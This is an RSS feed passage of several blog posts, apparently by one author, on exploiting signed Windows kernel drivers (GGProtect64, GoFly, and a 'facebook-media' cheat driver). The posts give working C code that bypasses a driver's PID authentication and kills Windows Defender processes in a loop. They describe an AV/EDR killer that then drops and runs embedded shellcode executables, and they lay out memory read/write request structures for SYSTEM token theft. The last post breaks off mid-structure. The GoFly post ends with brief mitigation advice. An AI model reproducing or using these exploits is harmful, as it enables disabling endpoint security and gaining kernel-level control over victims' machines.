FUN_14000a480 implements the authentication check at the very top before processing any IOCTL:</p><pre>if ((DAT_140030958 == 0) ||<br>    (lVar11 = PsGetCurrentProcessId(),<br>     DAT_140030958 != lVar11)) {<br>    if (DAT_1400449d8 != &#39;\0&#39;) {<br>        DbgPrint(&quot;GG_in DispatchIoctl, &quot;<br>                 &quot;the cur poc id isn&#39;t right\r\n&quot;);<br>    }<br>    uVar7 = 0xc0000005;<br>    goto LAB_14000c9ac;<br>}</pre><p>Every IOCTL call checks that the current process ID matches DAT_140030958 — a global variable storing the registered caller&#39;s PID. If they do not match the driver returns 0xC0000005 (Access Violation) immediately.</p><p>The registration happens through IOCTL 0x223C14:</p><pre>if (uVar2 == 0x223c14) {<br>    DAT_140030958 = PsGetCurrentProcessId();<br>    DAT_140030950 = SystemReserved1[0xf];<br>}<br><br>if (3 &lt; uVar3) {<br>    DAT_140030928 = *_Dst ^ 0x5a84;<br>    FUN_14000d130();<br>    DAT_14003092c = 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*7ClEoPUig-1IwMftNSghqw.png" /></figure><p>So the registration flow is:</p><ol><li>Caller sends IOCTL 0x223C14 with 4 bytes of data</li><li>Driver stores the caller’s PID in DAT_140030958</li><li>Driver stores input ^ 0x5A84 in DAT_140030928</li><li>All subsequent IOCTLs check that the calling PID matches DAT_140030958</li></ol><h4>Why is It Bypassable:</h4><p>The authentication is trivially bypassable for one simple reason — <strong>IOCTL </strong><strong>0x223C14 has no authentication check itself</strong>. The check only applies to other IOCTLs. This means any process can call 0x223C14 at any time and register itself as the legitimate caller, overwriting whatever was previously registered.</p><p>The input value input ^ 0x5A84 is stored but never validated during registration. The driver simply accepts whoever calls 0x223C14 last as the trusted caller.</p><p>Any attacker process can register itself in two lines:</p><pre>DWORD value = GetCurrentProcessId() ^ 0x5A84;<br>DWORD ret = 0;<br>DeviceIoControl(hDevice, 0x223C14,<br>    &amp;value, 4, NULL, 0, &amp;ret, NULL);</pre><p>After this call every privileged IOCTL in the driver is available to us. The legitimate game client — if it was previously registered — is now locked out.</p><h3><strong>The Kill Primitive</strong></h3><h4>IOCTL 0x223C04</h4><p>With authentication bypassed IOCTL 0x223C04 is the process kill handler. The dispatcher routes it to FUN_140011cb8:</p><pre>else if (uVar2 == 0x223c04) {<br>    if (0 &lt; (int)*_Dst) {<br>        FUN_140011cb8((longlong)(int)*_Dst);<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*ciWYoKc8KVU1kelTuF-Jtw.png" /></figure><p>The only check is that the PID is greater than zero. No validation of what process the PID belongs to. No check against a whitelist. No restriction on killing protected processes.</p><h4>The Kill Function</h4><pre>void FUN_140011cb8(undefined8 param_1)<br>{<br>    local_res10 = 0;<br>    local_40[0] = 0x30;<br>    local_50 = param_1;  // target PID</pre><pre>    // Primary kill path<br>    iVar1 = ZwOpenProcess(&amp;local_res10,<br>                           0x1fffff,   // PROCESS_ALL_ACCESS<br>                           local_40,<br>                           &amp;local_50);<br>    if ((-1 &lt; iVar1) &amp;&amp; (local_res10 != 0)) {<br>        iVar1 = ZwTerminateProcess(local_res10, 0);<br>        ZwClose(local_res10);<br>    }</pre><pre>    // Fallback: suspend if termination failed<br>    if (iVar1 &lt; 0) {<br>        PsLookupProcessByProcessId(param_1, local_res18);<br>        if (local_res18[0] != 0) {<br>            PsSuspendProcess();<br>            ObfDereferenceObject(local_res18[0]);<br>        }<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*ohc7eR1QutUwIgQ0LQV-jQ.png" /></figure><p>This function has two kill paths:</p><p><strong>Primary — </strong><strong>ZwOpenProcess + </strong><strong>ZwTerminateProcess:</strong> Opens the target process with PROCESS_ALL_ACCESS then terminates it. Called from kernel mode so PPL access checks are completely bypassed.</p><p><strong>Fallback — </strong><strong>PsSuspendProcess:</strong> If termination fails the driver falls back to PsLookupProcessByProcessId + PsSuspendProcess. This suspends all threads in the target process rendering it completely non-functional even if it cannot be fully terminated.</p><p>The combination of these two paths means even processes that resist termination can be suspended and effectively neutralized.</p><h4>What is PPL Protection in Windows and can this driver Kill PPL Processes:</h4><p>PPL (Protected Process Light) is a Windows security feature that prevents even administrators from opening handles to protected processes from usermode. Security software like Windows Defender and EDR agents run as PPL specifically to resist this kind of attack.</p><p>The protection works by checking the caller’s trust level against the target’s protection level during NtOpenProcess. This check only applies when PreviousMode == UserMode.</p><p>When ZwOpenProcess is called from kernel mode — as this driver does — PreviousMode is KernelMode and the PPL trust level check is skipped entirely. The kernel trusts itself. Any process the attacker targets dies regardless of its protection level.</p><h3>Exploit Development</h3><h4>Exploit Flow</h4><pre>1. Open \\.\GGProtect64<br>        ↓<br>2. Send IOCTL 0x223C14 with (PID ^ 0x5A84)<br>   Driver registers our PID as trusted caller<br>        ↓<br>3. Send IOCTL 0x223C04 with target PID<br>   Driver calls ZwTerminateProcess from kernel mode<br>   PPL checks bypassed<br>   Process terminated<br>        ↓<br>4. Loop every 500ms killing respawned processes</pre><h4>Registration Bypass</h4><pre>BOOL InitDriver() {<br>    g_hDevice = CreateFileA(&quot;\\\\.\\GGProtect64&quot;,<br>                    GENERIC_READ | GENERIC_WRITE,<br>                    0, NULL, OPEN_EXISTING,<br>                    FILE_ATTRIBUTE_NORMAL, NULL);<br>    if (g_hDevice == INVALID_HANDLE_VALUE)<br>        return FALSE;</pre><pre>    // Bypass authentication<br>    // Register our PID as the trusted caller<br>    DWORD value = GetCurrentProcessId() ^ 0x5A84;<br>    DWORD ret = 0;<br>    DeviceIoControl(g_hDevice, 0x223C14,<br>        &amp;value, 4, NULL, 0, &amp;ret, NULL);</pre><pre>    return TRUE;<br>}</pre><h4>Kill Function</h4><pre>BOOL KillPID(DWORD pid) {<br>    DWORD ret = 0;<br>    return DeviceIoControl(g_hDevice, 0x223C04,<br>        &amp;pid, sizeof(pid),<br>        NULL, 0, &amp;ret, NULL);<br>}</pre><h4>Persistent Monitor</h4><p>A single kill is not enough — security software respawns. Due to <strong>Service Control Manager (SCM) recovery policies</strong> and <strong>kernel-level Protected Process Light (PPL)</strong> enforced via ObRegisterCallbacks — which blocks termination at the handle level before it even succeeds . The exploit continuously monitors for target processes and kills them within 500ms:</p><pre>const char* g_targets[] = {<br>    &quot;MsMpEng.exe&quot;,<br>    &quot;NisSrv.exe&quot;,<br>    &quot;SecurityHealthService.exe&quot;,<br>    &quot;SecurityHealthSystray.exe&quot;,<br>    &quot;mpcmdrun.exe&quot;,<br>    &quot;MpCopyAccelerator.exe&quot;,<br>    NULL<br>};</pre><pre>int SweepAndKill() {<br>    int killed = 0;<br>    HANDLE snap = CreateToolhelp32Snapshot(<br>                      TH32CS_SNAPPROCESS, 0);<br>    PROCESSENTRY32 pe = { sizeof(pe) };</pre><pre>    if (Process32First(snap, &amp;pe)) {<br>        do {<br>            for (int i = 0; g_targets[i]; i++) {<br>                if (_stricmp(pe.szExeFile,<br>                             g_targets[i]) == 0) {<br>                    if (KillPID(pe.th32ProcessID))<br>                        killed++;<br>                }<br>            }<br>        } while (Process32Next(snap, &amp;pe));<br>    }<br>    CloseHandle(snap);<br>    return killed;<br>}</pre><pre>int main() {<br>    if (!InitDriver()) return 1;</pre><pre>    while (1) {<br>        Sleep(500);<br>        SweepAndKill();<br>    }<br>}</pre><h3>Comparison to Similar Vulnerabilities</h3><p>This driver shares characteristics with other BYOVD targets but has a notable difference — it attempts authentication. The GoFly driver analyzed in a previous post had zero authentication. This driver at least tries to restrict access.</p><p>The problem is the authentication is based purely on process ID registration with no cryptographic verification, no handle validation, and no restriction on who can call the registration IOCTL itself.</p><h3>Closing Words :</h3><p>This driver demonstrates that weak authentication is often worse than no authentication — it creates a false sense of security while providing trivial bypass. The PID ^ 0x5A84 registration scheme can be replicated by any process that knows the XOR key which is plainly visible in the decompiled code.</p><p>The combination of a bypassable authentication mechanism and an unrestricted kernel-mode process kill primitive with a PsSuspendProcess fallback makes this driver a powerful and stealthy BYOVD target. The reversing approach used here — starting from dangerous imports and working backwards — proved more effective than traditional top-down analysis and is a technique worth keeping in the toolkit when dealing with complex or obfuscated driver code.</p><p><strong>One more Important Think to mention is that this driver has an intentional BSOD like if u try to unload the driver it will throw a Blue screen of Death so be aware</strong></p><p>Full proof of concept on GitHub : <a href="https://github.com/Haider303/GGProtect-exploit">https://github.com/Haider303/GGProtect-exploit</a></p><p>Demo Video : <a href="https://youtu.be/oqmYLkoWg5U">https://youtu.be/oqmYLkoWg5U</a></p><p>For Educational Purpose only not responsible for any unethical use .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8f44c5837b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GoFly Killer: Abusing a Vulnerable Kernel Driver to Terminate Protected Processes from User Mode]]></title>
            <link>https://medium.com/@haider303mustafa/gofly-killer-abusing-a-vulnerable-kernel-driver-to-terminate-protected-processes-from-user-mode-21449990c002?source=rss-bff4337ffa0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/21449990c002</guid>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[bypass-windows-defender]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Haidermustafa]]></dc:creator>
            <pubDate>Thu, 28 May 2026 17:54:15 GMT</pubDate>
            <atom:updated>2026-05-28T17:54:15.226Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Um3vLOFOr4D-z8bK-YakA.jpeg" /></figure><p>Reverse engineering the GoFly driver to discover an unprotected IOCTL that allows any user-mode process to kill AV/EDR ,no exploits, no shellcode, just a signed driver doing exactly what it was told.</p><p>Hey everyone. While browsing <a href="https://www.loldrivers.io/">loldrivers.io</a> for research material I came across an interesting entry ,the GoFly driver. The entry listed it as vulnerable but had no published exploit or write-up. That was enough to get me curious. I pulled the driver, threw it into Ghidra, and within an hour had a working process killer running from user mode. Here’s how it went.</p><h3>Introduction</h3><p>Bring Your Own Vulnerable Driver (BYOVD) is one of the most effective post-exploitation techniques available to attackers today. The idea is simple , instead of writing malicious kernel code that triggers security products, you load a legitimate signed driver that happens to contain dangerous vulnerabilities. From the perspective of every security product on the system, you are just loading a trusted binary.</p><p>This post covers the analysis and exploitation of GoFly.sys , an anticheat-style monitoring driver that exposes an unvalidated process kill primitive through a kernel-mode IOCTL. We will see how a single missing validation check allows an attacker to kill any process on the system including PPL-protected security software.</p><p>For this proof of concept, testing was performed on a fully updated Windows 10 x64 virtual machine. <strong>The driver is still not on Windows Vulnerable driver blacklist (28 May 2026).</strong></p><h3>Driver Overview</h3><p>GoFly is a security and anticheat style driver. Upon loading it creates a device object accessible from usermode at:</p><pre>\\.\GoFly</pre><p>The driver registers several kernel callbacks on load:</p><ul><li>Process creation monitoring via PsSetCreateProcessNotifyRoutineEx</li><li>Image load monitoring via PsRemoveLoadImageNotifyRoutine</li><li>Network filtering via WFP with 4 callouts and packet injection</li></ul><p>It exposes 27 IOCTLs through a single dispatcher function. Most of them handle network filtering, DNS management, and process monitoring. One of them kills processes.</p><h3>The Vulnerable IOCTL</h3><p>IOCTL 0x12227a is the process kill handler. Here is the decompiled code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*N7OLImJKbBtOKdI5AZdGpQ.png" /></figure><p>Let’s break down exactly what this does.</p><p>The handler reads a PID from the input buffer — *puVar10 is the first DWORD of whatever we send in. It converts it to a client ID structure via FUN_140006d68 then checks one thing — is the target PID the same as the current process? If not, it proceeds to kill it.</p><p>The kill sequence is:</p><ol><li>ZwOpenProcess=opens a handle to the target process</li><li>ZwTerminateProcess =terminates it</li><li>ZwClose=closes the handle</li></ol><p>That is the entire validation. One check. Target PID cannot equal current PID. Everything else is fair game.</p><h3>Why This Kills PPL</h3><p>This is the critical part. PPL (Protected Process Light )is a Windows security feature that prevents even administrators from terminating certain processes. Security software like Windows Defender, EDR agents, and antivirus engines run as PPL specifically to prevent exactly this kind of attack.</p><p>If you try to open a PPL process from usermode:</p><pre>// Usermode attempt<br>OpenProcess(PROCESS_TERMINATE, FALSE, targetPid);<br>// Returns ERROR_ACCESS_DENIED</pre><p>Windows checks the caller’s trust level against the target’s protection level and denies the request. The PPL process is safe.</p><p>But this driver calls ZwOpenProcess and ZwTerminateProcess from <strong>kernel mode</strong>. When a call originates from kernel mode the thread&#39;s PreviousMode is set to KernelMode. Windows skips the PPL access checks entirely for kernel mode callers. The kernel trusts itself.</p><p>So the sequence is:</p><pre>Usermode → DeviceIoControl(0x12227a, targetPid)<br>         → Driver receives request in kernel mode<br>         → ZwOpenProcess(targetPid) — PreviousMode = KernelMode<br>         → PPL checks skipped<br>         → ZwTerminateProcess — process dies</pre><p>Any PPL-protected process on the system can be killed with a single IOCTL call.</p><h3>Input Structure</h3><p>The IOCTL takes a minimum of 4 bytes — just a DWORD containing the target PID:</p><pre>// Minimum input: 4 bytes<br>// Input structure:<br>struct KILL_REQUEST {<br>    DWORD pid;   // target process ID<br>};</pre><p>The size check in the dispatcher is 3 &lt; uVar4 meaning the input must be greater than 3 bytes , so 4 bytes minimum. That is all that is needed.</p><h3>The Basic Exploit</h3><p>Killing a single process is four lines:</p><pre>DWORD targetPid = 1234;<br>ULONGLONG pidBuf = (ULONGLONG)targetPid;<br>DWORD bytesRet = 0;<br>DeviceIoControl(hDevice, 0x12227a,<br>    &amp;pidBuf, sizeof(pidBuf),<br>    NULL, 0, &amp;bytesRet, NULL);</pre><p>Open the device, send the PID, done. The target process is terminated regardless of its protection level.</p><h3>Building the Full Automation Tool</h3><p>Killing a process once is not enough in a real scenario. Security software respawns. We need continuous monitoring and killing.</p><p>The tool uses three threads working together:</p><p><strong>Thread 1 — Monitor</strong> Polls the running process list every 500ms using CreateToolhelp32Snapshot. Any target process found gets queued immediately.</p><p><strong>Thread 2 — Kill</strong> Waits on the queue. Every time a PID arrives it sends IOCTL 0x12227a to the driver. On the first successful kill it signals Thread 3.</p><p><strong>Thread 3 — Payload</strong> Waits for the first kill signal. Once received it extracts two embedded EXEs from the binary’s resources, runs the first one with a path argument, waits for it to finish, then runs the second one from the same directory.</p><p>The three threads communicate via a mutex-protected queue and condition variables:</p><pre>// T1 finds a process → pushes to queue<br>pidQueue.push({ pid, exe });<br>pidAvailable.notify_one();</pre><pre>// T2 dequeues → kills → signals T3<br>if (KillViaPID(ev.pid)) {<br>    if (!firstKillDone) {<br>        firstKillDone = true;<br>        t3Trigger.notify_one();<br>    }<br>}</pre><pre>// T3 waits → extracts → runs payload<br>t3Trigger.wait(lock, [] {<br>    return firstKillDone.load();<br>});<br>extractEXE(IDR_MY_EXE, customPath);<br>extractEXE(IDR_SHELLCODE, scPath);</pre><p>The payload EXEs are embedded as Windows resources inside the tool binary itself using a resource file:</p><pre>101 RCDATA &quot;my_custom.exe&quot;<br>102 RCDATA &quot;shellcode.exe&quot;</pre><p>At runtime Thread 3 extracts them to C:\Windows\Temp\ and executes them in sequence.</p><h3>Full Exploit Flow</h3><pre>Load GoFly driver via OSR Loader<br>        ↓<br>Run tool as Administrator<br>        ↓<br>T3 starts — waits for first kill signal<br>T1 starts — scans for target processes every 500ms<br>T2 starts — waits on kill queue<br>        ↓<br>T1 finds MsMpEng.exe, NisSrv.exe etc → queues PIDs<br>        ↓<br>T2 kills first target via IOCTL 0x12227a<br>T2 signals T3<br>        ↓<br>T3 wakes up<br>  → extracts my_custom.exe to C:\Windows\Temp\<br>  → extracts shellcode.exe to C:\Windows\Temp\<br>  → runs my_custom.exe --path &quot;C:\Windows\Temp\&quot;<br>  → waits for finish<br>  → runs shellcode.exe<br>        ↓<br>T1 + T2 keep running<br>  → any respawned process killed within 500ms</pre><h3>Output</h3><pre>[+] GoFly device opened<br>[T1] Already running: MsMpEng.exe PID=4832<br>[T1] Already running: NisSrv.exe PID=3120<br>[T1] Monitoring...</pre><pre>[T2] Killing MsMpEng.exe PID=4832 ... OK<br>[T2] First kill done - signaling T3<br>[T2] Killing NisSrv.exe PID=3120 ... OK</pre><pre>[T3] First kill confirmed<br>[T3] Custom EXE extracted<br>[T3] Shellcode EXE extracted<br>[T3] Custom EXE running PID=7654<br>[T3] Custom EXE finished<br>[T3] Shellcode EXE running PID=8832</pre><h3>Why This Works in Practice</h3><p>Security software specifically runs as PPL to prevent this exact attack. The assumption is that even if an attacker gains admin privileges they cannot touch the security software because it is protected.</p><p>That assumption breaks the moment a vulnerable kernel driver is present on the system. The driver’s kernel mode context bypasses every usermode protection Windows has. PPL, handle restrictions, access checks — all irrelevant once you are operating from Ring 0.</p><p>This is exactly why BYOVD is such an effective technique. The attacker never writes a single line of kernel code. They just find a driver that already does what they need and send it the right input.</p><h3>Mitigation</h3><p>From a defensive perspective the fix is straightforward. The driver should validate the caller before executing privileged operations. At minimum:</p><ul><li>Check that the caller has a specific token or privilege before allowing process termination</li><li>Restrict device access via a proper DACL so only trusted processes can open a handle</li><li>Validate that the target PID belongs to a user process not a system or protected process</li></ul><p>From a detection perspective the behavior is visible — a non-system process opening handles to PPL processes and terminating them via a third party driver should be an immediate alert in any EDR worth its license.</p><p>Full source code on GitHub → <a href="https://github.com/Haider303/AV-EDR-Killer">https://github.com/Haider303/AV-EDR-Killer</a><br>Video Demo =&gt; <a href="https://youtu.be/iOjzKU7ndvI">https://youtu.be/iOjzKU7ndvI</a></p><p><em>All testing performed on isolated virtual machines for research purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21449990c002" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting a Signed Vulnerable Kernel Driver for Ring-0 Privilege Escalation]]></title>
            <link>https://medium.com/@haider303mustafa/exploiting-a-signed-vulnerable-kernel-driver-for-ring-0-privilege-escalation-678fe2054d6a?source=rss-bff4337ffa0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/678fe2054d6a</guid>
            <category><![CDATA[kernel]]></category>
            <category><![CDATA[windows-10]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[exploit-development]]></category>
            <dc:creator><![CDATA[Haidermustafa]]></dc:creator>
            <pubDate>Wed, 27 May 2026 20:26:04 GMT</pubDate>
            <atom:updated>2026-05-27T20:26:51.663Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/745/0*VF14OuioltzWU9Kx.jpg" /></figure><h3>Introduction</h3><p>Bring Your Own Vulnerable Driver (BYOVD) is a well-known post-exploitation technique used by adversaries and red teamers alike. This blog post documents a complete kernel exploitation journey , covering driver reverse engineering, vulnerability discovery, and full privilege escalation to NT AUTHORITY\SYSTEM.</p><p>In a Red Team engagement, a common post-exploitation technique to bypass security mitigations is to leverage a vulnerable kernel driver to perform privileged actions such as achieving arbitrary kernel read/write primitives. Due to <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later-">Driver Signature Enforcement (DSE)</a>, Windows will not load a driver without a valid signature.</p><p>This post covers the exploitation of :</p><ul><li>chinese_cheat_driver.sys (facebook-media) — a driver exposing arbitrary physical memory read/write primitives via MmCopyMemory and MmMapIoSpaceEx, abused for full Local Privilege Escalation (LPE)</li></ul><p>We will see how arbitrary physical memory access can be chained into a complete token-stealing exploit achieving NT AUTHORITY\SYSTEM.</p><p>For this proof of concept, testing was performed on a fully updated <strong>Windows 10 x64 (Build 19045)</strong> virtual machine.</p><h4>Digital Signature</h4><p>The driver carries a valid Microsoft-recognized digital signature, meaning Windows will load it without any modification to system security settings. Driver Signature Enforcement presents no obstacle to deployment. The signature details are as follows:</p><pre>Signer:    Microsoft Time-Stamp Service<br>Issued by: Microsoft Windows Hardware Compatibility Publisher<br>Valid from: 10/11/2025<br>Status:    Valid</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*qxW0fzvCRkwolHRfTp0XeQ.png" /><figcaption><em>Figure 1 :Digital signature details of chinese_cheat_driver.sys</em></figcaption></figure><p>The presence of a valid signature is significant. On a fully locked-down Windows 10/11 system with Secure Boot and DSE enabled, this driver can be loaded by any administrator without disabling any security features or triggering kernel integrity checks.</p><h4>VirusTotal Analysis</h4><p><strong>0 out of 72 antivirus engines</strong> detected the driver as malicious at the time of writing. This is a critical observation despite containing multiple high-severity vulnerabilities that allow arbitrary physical memory access, the driver is completely invisible to the antivirus ecosystem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qEPEAAqpIINvqLCeACt6KA.png" /><figcaption><em>Figure 2 :VirusTotal scan showing 0/72 detections</em></figcaption></figure><h3>2. Driver Analysis and Vulnerability Discovery</h3><h4>2.1 Finding the Device name</h4><p>For Finding the device name ,I used a dynamic approach using OSR Loader I Loaded the driver ,and using WinObj I got the Symbolic Link</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*gWcXZsk0h20TxV2wYR-9vA.png" /><figcaption>Using OSR Loader to load the Driver</figcaption></figure><p>The reason I used dynamic approach for this driver is simple: the device name is XOR-encrypted at runtime.</p><p>In the decompiled code, you see a loop that takes hardcoded bytes and XORs them with a key to produce the real device name. I could have sat there and written a script to reverse the algorithm, but honestly why bother? The driver already does the work for me when it loads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*g9jyxsfBHkfpX75p6tbRZw.png" /><figcaption>Hardcoded Array and the Decryption Loop</figcaption></figure><p>I just loaded the driver, checked WinObj, and there it was: \Device\facebook-media.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*BWWbKei4oWFqTzfDJKg-ag.png" /><figcaption>Using WinObj to Find Symbolic Link</figcaption></figure><h4>2.2 IOCTL Dispatcher</h4><p>The IOCTL handler is located at FUN_140001560. This function reads the IOCTL code from the IRP (I/O Request Packet) and dispatches to the appropriate handler. The complete decompiled dispatcher is shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*Mr0FEbikFr9VJ1Ld_CMlWA.png" /><figcaption>Driver Entry</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*FI7_DgdfAu6Mc9tWHBZNYA.png" /><figcaption>The Dispatcher</figcaption></figure><p>The dispatcher checks the IOCTL code and buffer size then passes the system buffer directly to the handler function. Notably there is <strong>no address validation, no privilege check beyond the device handle, and no bounds checking</strong> on any user-supplied values.Only 3 IOCTLS are of our interest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*x_qQz-Z7NBVn7dMQS_8ckA.png" /><figcaption>Arbitrary virtual memory read</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*KH1kOJlgRSTTkqlZF4hAnA.png" /><figcaption>Arbitrary physical memory read</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*2tzlUuT5oAYoqTTjXzpyBw.png" /><figcaption>Arbitrary physical memory write</figcaption></figure><h4>2.3 IOCTL 0x222000: Arbitrary Virtual Memory Read</h4><p>In the IOCTL 0x222000 if we open the Function FUN_14000204c:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*YhGlakjaundeZFc4yQuKMQ.png" /><figcaption>FUN_14000204c()</figcaption></figure><p>The function accepts a user-supplied virtual address and a user-supplied dirbase. It calls FUN_1400021f0 which walks the page table hierarchy using the attacker-supplied dirbase to translate the virtual address to physical, then reads that memory via MmCopyMemory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2jrGK3NiTD_tLCqGhLEufA.png" /><figcaption>FUN_1400021f0() which walks page table Hierarchy</figcaption></figure><p>After Translation it calls FUN_140002160() which then reads the memory via MmCopyMemory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*dKGJWjbpNz4Nqkluoa5zPQ.png" /></figure><p>There is no validation on either the address or the dirbase. An attacker can read any kernel virtual address from any process context by supplying the correct dirbase.</p><p>So if we<strong> </strong>supply the System process DirBase as the dirbase. This allows us to read any kernel virtual address in the System process context including PsInitialSystemProcess, EPROCESS structures, and token values.</p><p>FUN_1400027c0<em> </em>is just manual implementation of<em> </em>memmove it copies data from<em> </em>the driver&#39;s internal buffer out to the user-supplied destination.</p><h4>2.4 IOCTL 0x222018: Arbitrary Physical Memory Read</h4><p>In the IOCTL 0x222018 the handler for 0x222018 is FUN_1400020e4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*e1qWzhw1csbhnECQBDfLSg.png" /></figure><p>This function just splits large reads into page-sized chunks to safely navigate physical memory boundaries. Then it calls FUN_140002160().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*woIJHn4urQYLmtF-0ElFvQ.png" /></figure><p>This function uses MmCopyMemory with the physical flag to read raw RAM into the driver&#39;s internal buffer, then copies that data out to the user supplied pointer. The source address (param_1) is never validated — whatever physical address we give it, it reads.</p><h4><strong>2.5 IOCTL 0x22201C: Arbitrary Physical Memory Write:</strong></h4><p>Now if we take a look at IOCTL 0x22201C .The handler for 0x22201C is FUN_140002480:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*8qE8kpp7jorv1O6631pvpQ.png" /></figure><p>This is identical to the read functionFUN_1400020e4 we have already covered. It breaks a large write into page-sized chunks . Then it calls write Function FUN_140002518:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*NlNEKGgIetfgJkSeD5M5gg.png" /></figure><p>The write function maps a user-controlled physical address into kernel space using MmMapIoSpaceEx, copies user data directly into it via FUN_1400027c0 (memmove), then unmaps it. Just like the read function, the physical address is never validated. Give it any address and it writes to that ,This is a very powerful physical memory write primitive. Any physical address in the system including kernel code, kernel data structures, and security-critical structures like process tokens can be overwritten.</p><h3>3. Breaking Down the Input Structures</h3><p>Before we get into the actual exploitation, we need to understand how we talk to the driver. Every time we send an IOCTL we pass a buffer of data think of it like function arguments. The driver reads specific fields from that buffer to know what to do.</p><p>The cool part is we can figure out exactly what fields the driver expects just by reading the decompiled code. Every time you see *(param_1 + some_offset) in Ghidra that&#39;s the driver reading a field from our input buffer at that offset.</p><p>Let me walk through each one.</p><h4>3.1 How We Figure Out the Structure</h4><p>The idea is simple. When the driver receives our input buffer it accesses different byte offsets within it. Each offset access is a field. The type of access tells us the field size and what the value is used for tells us what the field means.</p><pre>// Example from the decompiled code:<br>uVar3 = *(ulonglong *)(param_1 + 8);    // reading 8 bytes at offset +8<br>puVar5 = *(undefined8 **)(param_1 + 0x10); // reading 8 bytes at offset +0x10<br>uVar4 = *(ulonglong *)(param_1 + 0x18); // reading 8 bytes at offset +0x18</pre><p>Three field accesses. Three fields. Simple as that.</p><h4>3.2 IOCTL 0x222000: Virtual Read Structure</h4><p>Here is the relevant part of the decompiled handler:</p><pre>undefined8 FUN_14000204c(longlong param_1)<br>{<br>  uVar4 = *(ulonglong *)(param_1 + 0x18);    // field at +0x18<br>  uVar3 = *(ulonglong *)(param_1 + 8);       // field at +0x08<br>  puVar5 = *(undefined8 **)(param_1 + 0x10); // field at +0x10<br>  <br>  // later in the code:<br>  *(ulonglong *)(param_1 + 0x20)             // field at +0x20<br>}</pre><p>Now let’s figure out what each field does by looking at how it’s used:</p><ul><li>+0x08 passed as the source address to MmCopyMemory ,this is the <strong>virtual address we want to read</strong></li><li>+0x10 used as the destination where data gets written ,this is <strong>our output buffer</strong></li><li>+0x18 used as the loop counter that counts down to zero ,this is the <strong>size in bytes</strong></li><li>+0x20 passed to the page table walking function as the base ,this is the <strong>DirBase (CR3)</strong></li><li>+0x00 never touched ,just padding/unused</li></ul><p>So the full structure is:</p><pre>struct VIRT_READ_REQUEST {<br>    DWORD64 unused;      // +0x00  ignored by driver<br>    DWORD64 src_va;      // +0x08  virtual address to read FROM<br>    DWORD64 dst_buffer;  // +0x10  where to put the data<br>    DWORD64 size;        // +0x18  how many bytes to read<br>    DWORD64 dirbase;     // +0x20  which process page tables to use<br>};<br>// total size = 0x28 bytes</pre><p>The dispatcher checks iVar2 == 0x28 which confirms the total size is exactly 0x28 bytes. Everything lines up.</p><p>In our exploit we fill it like this:</p><pre>BYTE req[0x28] = {};<br>*(DWORD64*)(req + 0x08) = virtualAddress;    // what to read<br>*(DWORD64*)(req + 0x10) = (DWORD64)myBuffer; // where to put result<br>*(DWORD64*)(req + 0x18) = 8;                 // read 8 bytes<br>*(DWORD64*)(req + 0x20) = SYSTEM_DIRBASE;    // use System page tables</pre><h4>3.3 IOCTL 0x222018: Physical Read Structure</h4><p>Here is the decompiled handler:</p><pre>undefined8 FUN_1400020e4(longlong param_1)<br>{<br>  uVar4 = *(ulonglong *)(param_1 + 0x18);    // field at +0x18<br>  lVar3 = *(longlong *)(param_1 + 8);        // field at +0x08<br>  puVar2 = *(undefined8 **)(param_1 + 0x10); // field at +0x10<br>  <br>  // passes lVar3 directly to MmCopyMemory with physical flag<br>  FUN_140002160(lVar3, puVar2, uVar1, 0);<br>}</pre><p>The key thing here is MmCopyMemory is called with flag 1 which means MM_COPY_MEMORY_PHYSICAL. That flag tells Windows to treat the source address as a raw physical address not a virtual one.</p><ul><li>+0x08 passed directly to MmCopyMemory as physical source ,<strong>physical address to read</strong></li><li>+0x10 used as destination buffer ,<strong>our output buffer</strong></li><li>+0x18 size counter ,<strong>bytes to read</strong></li><li>+0x00 never accessed unused</li></ul><pre>struct PHYS_READ_REQUEST {<br>    DWORD64 unused;      // +0x00  ignored<br>    DWORD64 phys_src;    // +0x08  physical address to read FROM<br>    DWORD64 